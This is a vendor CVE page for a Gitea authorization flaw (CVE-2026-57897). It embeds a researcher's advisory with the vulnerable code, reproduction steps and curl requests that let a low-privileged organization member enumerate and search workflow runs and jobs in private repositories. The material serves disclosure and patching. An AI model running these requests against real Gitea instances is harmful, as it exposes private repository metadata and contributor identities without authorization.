CVE-2026-57897

CVE-2026-57897 is a medium-severity incorrect authorization vulnerability in code.gitea.io/gitea (go), affecting versions < 1.27.0. It is fixed in 1.27.0.

Does this CVE actually affect you?

Kodem shows which CVEs are reachable and running in your applications, so you fix what's exploitable, not just what's listed.

Thank you! Your submission has been received!
Oops! Something went wrong while submitting the form.

Runtime intelligence, not another scanner.

Summary

Gitea: Cross-Repo Information Disclosure via Org-Level Actions Run/Job APIs

Author: Prakhar Porwal
Date: 2026-05-24
Target: Gitea (self-hosted Git service)
Branch tested: main @ b7e95cc48c (development build, go1.26.3)
Component: routers/api/v1/org/action.go (org-level Actions API)
OWASP: API3:2023 Broken Object Property Level Authorization

1. Summary

The org-level Actions REST endpoints

GET /api/v1/orgs/{org}/actions/runs
GET /api/v1/orgs/{org}/actions/jobs

are gated only by reqOrgMembership() + reqToken(). They then call
shared.ListRuns(ctx, ctx.Org.Organization.ID, 0) /
shared.ListJobs(ctx, ctx.Org.Organization.ID, 0, 0, nil), which selects
every action_run / action_run_job row whose repository belongs to the
org, with no per-repository ACL check.

Result: any user who is a member of an organization can enumerate workflow
runs and jobs from every repository in that org, including:

  • private repositories the caller has no team membership for,
  • repositories where the caller has been explicitly denied the repo.actions
    unit,
  • repositories created by other teams the caller is not part of.

Direct per-repo equivalents (GET /api/v1/repos/{owner}/{repo}/actions/runs,
…/jobs/{job_id}/logs, …/runs/{run_id}/jobs) correctly return 404 for the
same caller, proving the org-level surface is the only path that leaks.

2. Affected Code

2.1 Route registration

routers/api/v1/api.go:1647-1652

addActionsRoutes(
    m,
    reqOrgMembership(),   // reqReaderCheck
    reqOrgOwnership(),    // reqOwnerCheck
    org.NewAction(),
)

2.2 Helper that registers run/job listing

routers/api/v1/api.go:908-941

m.Group("/runs", reqToken(), reqReaderCheck, act.ListWorkflowRuns)
m.Get("/runs", reqToken(), reqReaderCheck, act.ListWorkflowRuns)
m.Get("/jobs", reqToken(), reqReaderCheck, act.ListWorkflowJobs)

reqReaderCheck for org-scope = reqOrgMembership(), bare org membership is
enough; no per-repo permission is consulted.

2.3 Handler

routers/api/v1/org/action.go:595-683

func (Action) ListWorkflowJobs(ctx *context.APIContext) {
    shared.ListJobs(ctx, ctx.Org.Organization.ID, 0, 0, nil)
}

func (Action) ListWorkflowRuns(ctx *context.APIContext) {
    shared.ListRuns(ctx, ctx.Org.Organization.ID, 0)
}

2.4 Query construction (no ACL)

routers/api/v1/shared/action.go:138-215

opts := actions_model.FindRunOptions{
    OwnerID:     ownerID,   // ← org ID, NOT user ID
    RepoID:      repoID,    // = 0 at org level
    ListOptions: listOptions,
}
…
runs, total, err := db.FindAndCount[actions_model.ActionRun](ctx, opts)

models/actions/run_list.go:102-110

func (opts FindRunOptions) ToJoins() []db.JoinFunc {
    if opts.OwnerID > 0 {
        return []db.JoinFunc{func(sess db.Engine) error {
            sess.Join("INNER", "repository",
                "repository.id = repo_id AND repository.owner_id = ?", opts.OwnerID)
            return nil
        }}
    }
    return nil
}

The join only constrains repository.owner_id = orgID. There is no
access/team_repo/collaboration join and no
access_model.GetDoerRepoPermission(...) filter, every row in the org is
returned.

The same bug applies to shared.ListJobs, which calls
db.FindAndCount[actions_model.ActionRunJob](ctx, FindRunJobOptions{OwnerID: …})
using an analogous repository join.

3. Steps to Reproduce

3.1 Setup

  • Org 1st-org with one private repo 1st-org-repo.
  • Team Owners contains user admin (org owner).
  • Team 1st-team has zero repositories assigned (units permission
    none for actions, no included repos).
  • User admin2 is a regular user (is_admin = false), member of
    1st-team only, so org member, but no team grants any access to
    1st-org-repo
    .

Verified that admin2 lacks direct access:

$ curl -u admin2:admin@123 -w '[%{http_code}]\n' \
    http://localhost:3001/api/v1/repos/1st-org/1st-org-repo
{"errors":null,"message":"not found","url":"…"}[404]

$ curl -u admin2:admin@123 -w '[%{http_code}]\n' \
    http://localhost:3001/api/v1/orgs/1st-org/repos
[]
[200]

A workflow file was committed to 1st-org-repo/.gitea/workflows/ci.yml to
produce an action_run:

name: ci
on: push
jobs:
  hello:
    runs-on: ubuntu-latest
    steps:
      - run: echo "SECRET_INFO_FROM_PRIVATE_REPO"

3.2 Trigger

$ curl -u admin2:admin@123 -w '\n[%{http_code}]\n' \
    http://localhost:3001/api/v1/orgs/1st-org/actions/runs

Output (truncated)

{"workflow_runs":[{
  "id":7,
  "url":"http://localhost:3001/api/v1/repos/1st-org/1st-org-repo/actions/runs/7",
  "html_url":"http://localhost:3001/1st-org/1st-org-repo/actions/runs/7",
  "display_title":"add workflow",
  "path":"ci.yml@refs/heads/main",
  "event":"push",
  "run_attempt":1,
  "run_number":1,
  "head_sha":"b7de30c225eaf5c6e5be1fa1a0dafe5045f90d73",
  "head_branch":"main",
  "status":"queued",
  "actor":{"id":1,"login":"admin", … "email":"[email protected]", …},
  "trigger_actor":{ … "login":"admin" … },
  "repository":{
     "id":4,"name":"1st-org-repo","full_name":"1st-org/1st-org-repo",
     "description":"test123",
     "private":true,
     "clone_url":"http://localhost:3001/1st-org/1st-org-repo.git",
     "ssh_url":"prakhar@localhost:1st-org/1st-org-repo.git",
     …
  }
}],"total_count":1}
[200]

Same primitive for jobs:

$ curl -u admin2:admin@123 -w '\n[%{http_code}]\n' \
    http://localhost:3001/api/v1/orgs/1st-org/actions/jobs
{"jobs":[{
  "id":7,
  "run_id":7,
  "name":"hello",
  "labels":["ubuntu-latest"],
  "head_sha":"b7de30c225eaf5c6e5be1fa1a0dafe5045f90d73",
  "head_branch":"main",
  "status":"queued",
  …
}],"total_count":1}
[200]

3.3 search primitives

All query parameters supported by ListRuns/ListJobs work too, turning the
endpoint into a search oracle over private workflow metadata:

# Find runs on a specific branch in private repos:
curl -u admin2:… "http://localhost:3001/api/v1/orgs/1st-org/actions/runs?branch=main"

# Confirm a given commit SHA exists in any private repo of the org:
curl -u admin2:… "http://localhost:3001/api/v1/orgs/1st-org/actions/runs?head_sha=b7de30c2…"

# Filter by actor:
curl -u admin2:… "http://localhost:3001/api/v1/orgs/1st-org/actions/runs?actor=admin"

# Filter by event/status:
curl -u admin2:… "http://localhost:3001/api/v1/orgs/1st-org/actions/runs?event=push&status=failure"

All return matching rows from private repos in the org.

4. Impact

A low-privileged authenticated org member (no team, no repo permission, no
admin) gains, for every private repository in the org:

Field leaked Why it matters
repository.full_name, description, private, clone URLs Existence + topology of private repos
head_sha, head_branch Confirms commits / branch names exist in private repos
path (workflow file) Reveals workflow YAML filenames
event, display_title Commit messages / event types
actor, trigger_actor Internal contributor identities incl. noreply emails
created_at, started_at Activity timing / CI cadence
Pagination + ?head_sha=/?branch=/?actor= filters Full search oracle over private workflow history

Real-world consequences:

  1. Org reconnaissance, confirms existence of private projects, names,
    activity patterns; commit messages and branch names often reveal product
    plans, security fix windows, or release schedules.
  2. Insider-threat amplification, any contractor / interviewee / OSS
    contributor invited to a low-permission team can mine the rest of the
    org's CI history.
  3. Cross-team violation, when an org isolates internal projects via
    teams (e.g. security/ vs infra/ teams), this surface flatly bypasses
    that boundary.
  4. Pivot data, commit SHAs disclosed here unlock subsequent endpoints
    that do check ACLs but accept SHA inputs (e.g. some package / archive
    download paths in third-party tooling that just trusts a SHA).

The same primitive is exposed regardless of token scope, as long as the token
has organization scope, the user is an org member, and the org has any
private repos with action runs.

Impact

The application does not correctly enforce access controls, allowing a principal to access resources or operations beyond their granted permissions. Typical impact: unauthorized data access or execution of privileged operations.

CVE-2026-57897 has a CVSS score of 6.5 (Medium). The vector is network-reachable, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (1.27.0); upgrading removes the vulnerable code path.

Affected versions

code.gitea.io/gitea (< 1.27.0)

Security releases

code.gitea.io/gitea → 1.27.0 (go)

Kodem intelligence

Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.

Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.

Already deployed Kodem?

See it in your environmentNew to Kodem? Get a demo →

Remediation advice

Upgrade code.gitea.io/gitea to 1.27.0 or later to resolve this vulnerability.

Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.

Frequently Asked Questions

  1. What is CVE-2026-57897? CVE-2026-57897 is a medium-severity incorrect authorization vulnerability in code.gitea.io/gitea (go), affecting versions < 1.27.0. It is fixed in 1.27.0. The application does not correctly enforce access controls, allowing a principal to access resources or operations beyond their granted permissions.
  2. How severe is CVE-2026-57897? CVE-2026-57897 has a CVSS score of 6.5 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
  3. Which versions of code.gitea.io/gitea are affected by CVE-2026-57897? code.gitea.io/gitea (go) versions < 1.27.0 is affected.
  4. Is there a fix for CVE-2026-57897? Yes. CVE-2026-57897 is fixed in 1.27.0. Upgrade to this version or later.
  5. Is CVE-2026-57897 exploitable, and should I be worried? Whether CVE-2026-57897 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
  6. What actually determines whether CVE-2026-57897 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
  7. How do I fix CVE-2026-57897? Upgrade code.gitea.io/gitea to 1.27.0 or later.

Other vulnerabilities in code.gitea.io/gitea

Stop the waste.
Protect your environment with Kodem.